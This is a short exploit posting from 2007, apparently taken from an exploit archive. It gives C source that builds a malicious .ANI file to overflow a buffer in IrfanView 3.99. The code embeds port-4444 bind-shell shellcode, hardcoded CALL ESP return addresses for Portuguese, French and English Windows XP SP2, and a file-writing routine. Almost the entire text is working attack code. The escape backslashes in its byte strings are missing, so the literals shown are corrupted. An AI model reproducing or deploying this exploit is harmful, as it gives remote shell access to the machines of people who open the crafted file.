irfanview399-ani.txt
Posted on 10 April 2007
/* IrfanView 3.99 .ANI File Buffer Overflow (Multiple Targets and port bind shell) Old Target: Windows XP Sp2 FR New targets: Windows XP SP2 Portuguese Call ESP Addr Windows XP SP2 English Call ESP Addr Greetz: Ricardo Fiorelli, Marsu (make this possible.. nice job!), Str0ke , Sekure.org guys! */ #include <stdio.h> #include <stdlib.h> /* win32_exec - EXITFUNC=process Bind TCP port 4444 http://metasploit.com */ char BindShellcode[]= "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6c" "x24x24x8bx45x3cx8bx7cx05x78x01xefx8b" "x4fx18x8bx5fx20x01xebx49x8bx34x8bx01" "xeex31xc0x99xacx84xc0x74x07xc1xcax0d" "x01xc2xebxf4x3bx54x24x28x75xe5x8bx5f" "x24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb" "x03x2cx8bx89x6cx24x1cx61xc3x31xdbx64" "x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40" "x08x5ex68x8ex4ex0execx50xffxd6x66x53" "x66x68x33x32x68x77x73x32x5fx54xffxd0" "x68xcbxedxfcx3bx50xffxd6x5fx89xe5x66" "x81xedx08x02x55x6ax02xffxd0x68xd9x09" "xf5xadx57xffxd6x53x53x53x53x53x43x53" "x43x53xffxd0x66x68x11x5cx66x53x89xe1" "x95x68xa4x1ax70xc7x57xffxd6x6ax10x51" "x55xffxd0x68xa4xadx2exe9x57xffxd6x53" "x55xffxd0x68xe5x49x86x49x57xffxd6x50" "x54x54x55xffxd0x93x68xe7x79xc6x79x57" "xffxd6x55xffxd0x66x6ax64x66x68x63x6d" "x89xe5x6ax50x59x29xccx89xe7x6ax44x89" "xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93" "x8dx7ax38xabxabxabx68x72xfexb3x16xff" "x75x44xffxd6x5bx57x52x51x51x51x6ax01" "x51x51x55x51xffxd0x68xadxd9x05xcex53" "xffxd6x6axffxffx37xffxd0x8bx57xfcx83" "xc4x64xffxd6x52xffxd0x68x7exd8xe2x73" "x53xffxd6xffxd0"; unsigned char Ani_headers[] = "x52x49x46x46x2ax16x00x00x41x43x4fx4ex4cx49x53x54" "x44x00x00x00x49x4ex46x4fx49x4ex41x4dx0ax00x00x00" "x4dx65x74x72x6fx6ex6fx6dx65x00x49x41x52x54x26x00" "x00x00x4dx61x72x73x75x70x69x6cx61x6dx69x50x6fx77" "x61x40x68x6fx74x6dx61x69x6cx2ex63x6fx6dx20x4dx61" "x72x63x68x20x20x30x37x00x61x6ex69x68x24x10x00x00" "x24"; int main(int argc, char* argv[]) { FILE* anifile; char evilbuff[1500]; int ani_size; printf("[+] IrfanView 3.99 .ANI File Buffer Overflow (Multiple targets / Port bind shellcode ) "); printf("[+] Breno Silva Pinto - bsilva[at]sekure.org "); if (argc!=3) { printf("[+] Usage: %s <file.ani> <target> ",argv[0]); printf("[+] Targets: "); printf("[+] 1 - Windows Xp Sp2 Portuguese "); printf("[+] 2 - Windows Xp SP2 France "); printf("[+] 3 - Windows Xp SP2 English "); return 0; } ani_size=sizeof(Ani_headers)-1; memset(evilbuff,0x90,1500); memcpy(evilbuff,Ani_headers,ani_size); switch (atoi(argv[2])) { case 1: /* PORTUGUESE - BR */ memcpy(evilbuff+ani_size+459,"x5dx38x82x7c",4); /* CALL ESP in Kernel32.dll */ break; case 2: /* FRAAIS */ memcpy(evilbuff+ani_size+459,"x8bx51x81x7c",4); /* CALL ESP in Kernel32.dll */ break; case 3: /* ENGLISH */ memcpy(evilbuff+ani_size+459,"xd8x69x83x7c",4); /* CALL ESP in Kernel32.dll */ break; } memcpy(evilbuff+ani_size+466,BindShellcode,strlen(BindShellcode)); memset(evilbuff+ani_size+strlen(BindShellcode)+10,0,1); anifile=fopen(argv[1],"wb"); fwrite( evilbuff, 1, sizeof(evilbuff), anifile ); fclose(anifile); printf(".ANI file created "); return 0; }
